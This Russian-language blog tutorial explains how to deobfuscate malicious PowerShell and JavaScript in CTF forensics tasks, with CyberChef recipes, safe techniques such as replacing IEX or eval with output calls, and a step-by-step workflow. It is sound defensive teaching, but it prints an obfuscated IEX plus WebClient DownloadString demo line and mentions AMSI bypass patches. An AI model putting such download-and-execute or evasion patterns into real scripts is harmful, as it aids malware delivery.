Главная / Блог / Деобфускация вредоносных скриптов: PS и JS в CTF

11 мин.00

Деобфускация вредоносных скриптов: PS и JS в CTF

Деобфускация вредоносных скриптов: PS и JS в CTF

На последнем Jeopardy-CTF три задания из категории forensics свелись к одному сценарию: вот обфусцированный скрипт — найди, что он делает. Из двухсот участников флаг достали меньше тридцати. Не потому что задача была архисложной — большинство застревали на первом слое base64 и не понимали, куда копать дальше. Деобфускация вредоносных скриптов — навык, который на CTF нужен почти в каждом соревновании, а при разборе реальных инцидентов — ежедневно. Ниже — пошаговый разбор: что делать, когда перед тобой PowerShell-каша из -EncodedCommand и gzip или JavaScript с тремя вложенными eval и массивом String.fromCharCode на четыреста символов.

Как устроена обфускация вредоносных скриптов

Прежде чем препарировать пейлоады, стоит залезть в голову тому, кто их запутывал. Обфускация в malware — техника уклонения от обнаружения. MITRE ATT&CK классифицирует её как Obfuscated Files or Information (T1027, Defense Evasion) с подтехниками: Command Obfuscation (T1027.010) для запутывания команд и Encrypted/Encoded File (T1027.013) для кодирования или шифрования payload.

Цель атакующего — не сделать код «нечитаемым навсегда», а проскочить антивирус и затянуть ручной анализ. Автор malware прекрасно понимает, что аналитик разберёт скрипт — вопрос, сколько времени он на это убьёт. В CTF авторы заданий моделируют реальные техники: те же base64-цепочки, те же IEX-инъекции, те же eval-конвейеры. По данным исследования PowerPeeler (arxiv.org, 2024), из 1 736 669 проанализированных вредоносных PowerShell-сэмплов практически все были обфусцированы — обфускация стала второй по распространённости техникой атак после самого PowerShell.

Деобфускация — обратный процесс: Deobfuscate/Decode Files or Information (T1140, Defense Evasion). Задача — снять слои один за другим, пока не проявится исходная логика. По сути, распаковка матрёшки.

Зачем атакующему всё это в реальном мире? Обфусцированный скрипт — первая стадия: он скачивает или разворачивает из памяти основной payload (C2-агент, стилер, шифровальщик). По данным Unit42 Palo Alto Networks, многослойную обфускацию активно используют семейства Agent Tesla, XLoader и Remcos RAT. В CTF конечная цель проще — найти флаг, — но техники идентичны.

Анализ обфусцированного PowerShell скрипта

PowerShell (T1059.001, Execution) — любимец атакующих на Windows. Предустановлен с 2008 года, исполняет код в памяти, нативно поддерживает base64 через параметр -EncodedCommand. Ниже — пошаговый разбор типичного CTF-задания.

Base64 и EncodedCommand: снимаем первый слой

Параметр -EncodedCommand (сокращённо -enc, -e) принимает base64-закодированную строку в кодировке UTF-16LE. Ключевой момент — именно UTF-16LE, не UTF-8. Декодируешь обычным base64 без указания кодировки — получаешь символы с нулевыми байтами между ними. Характерный мусор, по которому сразу видно ошибку.

В CyberChef рецепт: From Base64 → Decode text (UTF-16LE (1200)). В PowerShell ISE: [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded)). В Linux через CLI: echo <blob> | base64 -d | iconv -f UTF-16LE -t UTF-8.

После декодирования первого слоя часто обнаруживается следующий — ещё один base64 внутри IEX, gzip-поток или комбинация. Матрёшка, как и обещал.

IEX-цепочки и дамп переменных через Get-Variable

Invoke-Expression (алиас iex) — точка перехода от «данные» к «код». Видишь IEX($something) или $something | IEX — нужно получить значение $something, не выполняя его.

Безопасный способ: заменить IEX на Write-Output или Out-File. Вместо выполнения payload просто выведется текст, который IEX собирался исполнить. Kyle Cucci (securityliterate.com) описывает эту технику подробно: скопировать скрипт в PowerShell ISE, убрать вызов powershell.exe и начальные параметры, заменить IEX на вывод и запустить.

Для работы в изолированной VM есть более грубый метод — выполнить скрипт целиком и затем дампнуть все переменные командой Get-Variable. Переменные, объявленные в скрипте, будут содержать промежуточные и финальные результаты деобфускации. Write-Output $variable_name покажет полное содержимое конкретной переменной. Работает в большинстве случаев — но только в VM, которую не жалко снести.

Gzip, конкатенация и подстановка переменных

Частый паттерн — New-Object IO.StreamReader(New-Object IO.Compression.GZipStream(...)). Данные сжаты gzip перед кодированием в base64. В CyberChef добавь шаг Gunzip после From Base64. Если порядок неочевиден, кнопка «Magic» попробует определить кодировку автоматически.

После снятия внешних слоёв остаётся PowerShell с обфусцированными именами переменных и разбитыми строками. Типичный приём — конкатенация: $a = 'Down'; $b = 'load'; $c = 'String'; $d = $a + $b + $c — просто DownloadString. Другой вариант — [char] cast: [char]104+[char]116+[char]116+[char]112 собирается в строку http.

Что искать в деобфусцированном скрипте: URL для скачивания следующей стадии (флаг может быть в URL или в файле), проверки окружения через WMI (детект VMware, VirtualBox, KVM — техника System Checks, T1497.001), команды для persistence или exfiltration:

# Обфусцированный вариант (пример для демонстрации концепции)
$o='Net.Web';$c='Client';$m='Down'+'load'+'String'
$u=[char]104+[char]116+[char]116+[char]112
IEX ((New-Object ($o+$c)).$m("$u`://example.com/flag.txt"))

# После деобфускации:
# (New-Object Net.WebClient).DownloadString("http://example.com/flag.txt")

Маркеры финального payload: .Invoke(), Net.WebClient, DownloadFile, DownloadString, Start-Process. Видишь конкатенацию — собери строку вручную или через Write-Output в ISE.

Деобфускация JavaScript malware

JavaScript (T1059.007, Execution) попадается в CTF-заданиях категорий web и forensics — через HTA-файлы, dropper'ы в документах, вредоносные веб-страницы.

Eval-цепочки и String.fromCharCode

Принцип тот же, что с IEX → Write-Output. Видишь eval(something) — замени eval на console.log и запусти в Node.js REPL или браузерной консоли изолированной VM. Вместо выполнения код выведет то, что eval собирался исполнить. Для многослойных eval-цепочек повторяй замену: каждый console.log выдаёт следующий слой, где снова eval. Продолжай, пока не получишь читаемый код. Бывает три-четыре итерации — терпение и VM.

Паттерн String.fromCharCode(72,101,108,108,111) = "Hello". В CTF массивы бывают на сотни элементов. Ручной разбор — бессмыслица. CyberChef с рецептом From Charcode (разделитель — запятая, base 10) справится за секунду. Или в Node.js REPL выполни выражение напрямую — String.fromCharCode безопасен, конвертирует числа в символы без побочных эффектов.

Hex-вариант: \x48\x65\x6c\x6c\x6f = "Hello". В CyberChef: Find / Replace (убрать \x) → From Hex.

// Работа с eval-цепочкой в Node.js REPL (пример для демонстрации)
// Исходный обфусцированный фрагмент:
var _0x = ['\x68\x74\x74\x70', '\x3a\x2f\x2f', '\x66\x6c\x61\x67'];
// В REPL поэлементно:
// > '\x68\x74\x74\x70'   →  'http'
// > '\x3a\x2f\x2f'       →  '://'
// > '\x66\x6c\x61\x67'   →  'flag'
// > _0x.join('')          →  'http://flag'
// Собираем строку по частям без выполнения логики скрипта

Packer-обфускаторы: JJEncode, AAEncode, Dean Edwards

Скрипты, начинающиеся с eval(function(p,a,c,k,e,r) или eval(function(p,a,c,k,e,d) — Dean Edwards JavaScript Packer. В конце — словарь из pipe-разделённых строк, подставляемых обратно в шаблон. Распаковка: замени eval на console.log — packer выдаст распакованный код. Одна замена — и готово.

JJEncode превращает JavaScript в набор символов $._, $.$, конструкторов и скобок. AAEncode использует японские эмотиконы (゚ω゚ノ, ゚Θ゚). Выглядит как магия, но оба формата — самоисполняемый JS, который при запуске восстанавливает оригинал.

Деобфускация JJEncode/AAEncode: в Node.js REPL замени финальный вызов (обычно () в конце всей конструкции) на присваивание переменной, затем вызови .toString(). Альтернатива — специализированные онлайн-декодеры в изолированном окружении.

CyberChef деобфускация: рецепты для CTF-задач

CyberChef — первый инструмент, который открываешь для ручного анализа вредоносных скриптов на CTF. Его сила — в цепочках операций (recipes), которые применяются последовательно к данным.

Рецепты для PowerShell payload

Стандартная цепочка для -EncodedCommand: From Base64 → Decode text (UTF-16LE). Если после декодирования виден ещё один base64-blob — добавляй From Base64 → Gunzip (или Raw Inflate, если gzip-заголовок отсутствует). Функция Magic попробует автоматически подобрать следующий шаг — полезно, когда формат сжатия неочевиден.

Для XOR-шифрования: если данные после base64-декодирования выглядят как мусор — ищи ключ XOR в коде скрипта (часто однобайтовый) и применяй операцию XOR в CyberChef с этим ключом. XOR Brute Force перебирает однобайтовые ключи и показывает результаты — ищи среди них читаемый текст.

Рецепты для JavaScript payload

Для hex-строк: Find / Replace (паттерн \\x, замена пустая) → From Hex. Для String.fromCharCode: From Charcode (Delimiter: Comma, Base: 10). Для Unicode escape (\u0041): Unescape Unicode Characters.

Для вложенных слоёв кнопка «Bake» выполняет текущую цепочку. Результат можно скопировать обратно в Input и добавить следующий шаг. Операция Fork разбивает входные данные по разделителю и применяет рецепт к каждому фрагменту — спасает, когда в скрипте несколько закодированных блоков.

Когда CyberChef не справляется

CyberChef работает со статическими данными — он не исполняет код. Если обфускация зависит от control flow (условия, циклы, динамическая генерация ключей) — без интерпретатора не обойтись. Исследование PowerPeeler показало, что статические методы (регулярные выражения, AST-анализ без контекста выполнения) дают заметно менее точные результаты по сравнению с динамическим подходом. Их инструмент достиг 95% корректности деобфускации на датасете из 4264 обфусцированных скриптов — статические инструменты отстали ощутимо. Для PowerShell динамический анализ — это ISE или PSDecode, для JS — Node.js REPL.

Разбор malware пейлоада CTF: полный workflow

Допустим, в задании forensics дали PCAP-файл с подозрительным HTTP-трафиком. Или .doc с макросом. Вот сквозной workflow от артефакта до флага.

От артефакта до финального payload

Фаза 1 — извлечение. Из PCAP: фильтр в Wireshark по http.request или tcp contains "powershell", экспорт payload. Из .doc: olevba (из пакета oletools) извлечёт VBA-макрос, в котором обычно лежит PowerShell-строка в Shell() или WScript.Shell.Run.

Фаза 2 — определение типа. Быстрый чек-лист:

Маркер в коде Тип обфускации Первый шаг
powershell -enc / -EncodedCommand Base64 (UTF-16LE) CyberChef: From Base64 → Decode UTF-16LE
IEX / Invoke-Expression IEX-цепочка Заменить IEX на Write-Output
[Convert]::FromBase64String Вложенный base64 Декодировать вложенный blob
IO.Compression.GZipStream Gzip-сжатие CyberChef: Gunzip
eval( в JS Eval-цепочка Заменить eval на console.log
String.fromCharCode Числовое кодирование CyberChef: From Charcode
eval(function(p,a,c,k,e Dean Edwards packer Заменить eval на console.log
゚ω゚ или $._ AAEncode / JJEncode Node.js: присвоить переменной + toString()

Фаза 3 — послойное снятие. Применяй соответствующую технику. Записывай каждый промежуточный результат — в CTF флаг может быть на любом слое, не только на последнем. Я на этом горел: снимал все слои до конца, а флаг лежал на втором.

Фаза 4 — анализ финала. Ищи: URL и IP-адреса, строки формата flag{...} / CTF{...}, команды работы с файловой системой (Get-Content, fs.readFileSync), сетевые вызовы (Net.WebClient, XMLHttpRequest, fetch), ещё один слой base64 или XOR.

Чек-лист инструментов для анализа вредоносных скриптов

Инструмент Назначение Когда использовать
CyberChef Статическая деобфускация, цепочки преобразований Первый инструмент для любого payload
PowerShell ISE Динамическая деобфускация PS, дамп переменных Когда статический анализ не справляется
PSDecode Автоматический перехват IEX Быстрая проверка простых PS-payload
Node.js REPL Пошаговая деобфускация JS Eval-цепочки, JJEncode, AAEncode
olevba (oletools) Извлечение VBA-макросов .doc/.xls с макросами
dnSpy / ILSpy Декомпиляция .NET Когда PS-скрипт загружает .NET-сборку

Техники деобфускации скриптов: типичные ошибки

Несколько граблей, на которые стабильно наступают на CTF. Я видел каждую из них не раз.

Кодировка UTF-16LE. -EncodedCommand = UTF-16LE. Декодируешь как UTF-8 — получаешь символы с нулевыми байтами между ними. Характерный признак: каждый второй символ — \x00. В CyberChef обязательно добавь Decode text (UTF-16LE) после From Base64. Это ошибка номер один у новичков — и самая обидная, потому что чинится за секунду.

Частичное выполнение без изоляции. Не запускай скрипт целиком в рабочей системе. Даже в VM — сначала замени IEX/eval на вывод. В CTF payload обычно безвреден, но привычка работать безопасно критична для реальных инцидентов. Потренируешься на кошках — не обожжёшься на тигре.

Ложные слои и dead code. Авторы CTF-заданий добавляют мусорный код и «мёртвые» ветки, которые никогда не исполняются. Если после деобфускации видишь огромный блок — проверь, какие ветки реально достижимы. Ищи условия, которые всегда true или всегда false. Это сознательная ловушка для тех, кто идёт по коду линейно.

AMSI-обходы в PowerShell. В реальных malware и продвинутых CTF-заданиях скрипты содержат патч AMSI (Anti-Malware Scan Interface) перед основным payload. По данным PowerPeeler, это распространённый паттерн. Обращения к amsi.dll или AmsiUtils — не часть payload, а подготовительный шаг для обхода антивирусного сканирования. Не трать на него время, если ищешь флаг — он там не живёт.

XOR после base64. Данные после base64-декодирования выглядят как мусор — возможно, XOR-шифрование. Ищи в коде ключ (часто однобайтовый или короткая строка) и применяй XOR / XOR Brute Force в CyberChef. Однобайтовый XOR перебирается за секунды — 256 вариантов, глазами видно, где появился читаемый текст.

Несколько параллельных blob'ов. Иногда скрипт содержит не один, а два-три закодированных блока, каждый со своим назначением: один — загрузчик, другой — конфигурация C2, третий — persistence-модуль. Не останавливайся после первого успешного декодирования — проверь весь скрипт на наличие других blob'ов.

Деобфускация вредоносных скриптов — навык, который нарабатывается исключительно практикой. Можно прочитать десять статей о FromBase64String и IEX, но пока руками не снимешь четыре слоя obfuscation с реального payload, паттерны не закрепятся. По моим наблюдениям за CTF-командами, участники, которые стабильно решают forensics-задания, имеют за плечами не «знание теории обфускации», а 20–30 разобранных сэмплов. Каждый следующий payload разбирается быстрее — техники повторяются, base64-gzip-IEX покрывает больше половины CTF-заданий с PowerShell.

Что меня удивляет — насколько мало базовые техники обфускации изменились за последние годы. Появляются новые обфускаторы и упаковщики, но фундамент остаётся: кодирование → сжатие → динамическое исполнение строки. JS-мир чуть разнообразнее за счёт JJEncode/AAEncode и packer'ов, но eval-цепочки — абсолютная классика. Подозреваю, что в ближайшие год-два LLM начнут генерировать полиморфную обфускацию, которую статические инструменты не покроют, — и тогда навык ручного анализа с пониманием логики скрипта станет ещё ценнее, чем умение нажать кнопку в автоматическом деобфускаторе. Если хочешь не разовый writeup, а системную прокачку от веб-уязвимостей до полной цепочки атаки с лабами и ментором — на WAPT эту линейку проходят целиком, включая разбор payload'ов.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

LFI уязвимость CTF: от /etc/passwd до RCE

12 мин.

4

LFI уязвимость CTF: от /etc/passwd до RCE

Полный разбор цепочки path traversal → LFI → log poisoning → RCE в CTF. PHP wrappers, обход фильтров, отравление логов Apache и SSH — с командами и чеклистом отладки.

16 ОКТЯБРЬ, 2026

Форматы CTF соревнований: Jeopardy vs Attack-Defense

15 мин.

4

Форматы CTF соревнований: Jeopardy vs Attack-Defense

Разбираем форматы CTF соревнований — Jeopardy и Attack-Defense. Чек-листы первого часа, выбор команды, инструменты, скоринг и платформы для старта.

16 ОКТЯБРЬ, 2026

Burp Suite для начинающих: настройка и первый CTF

11 мин.

6

Burp Suite для начинающих: настройка и первый CTF

Пошаговая настройка Burp Suite Community: прокси, FoxyProxy, SSL-сертификат. Решаем первый CTF веб-таск через Repeater за 10 минут с разбором.

15 ОКТЯБРЬ, 2026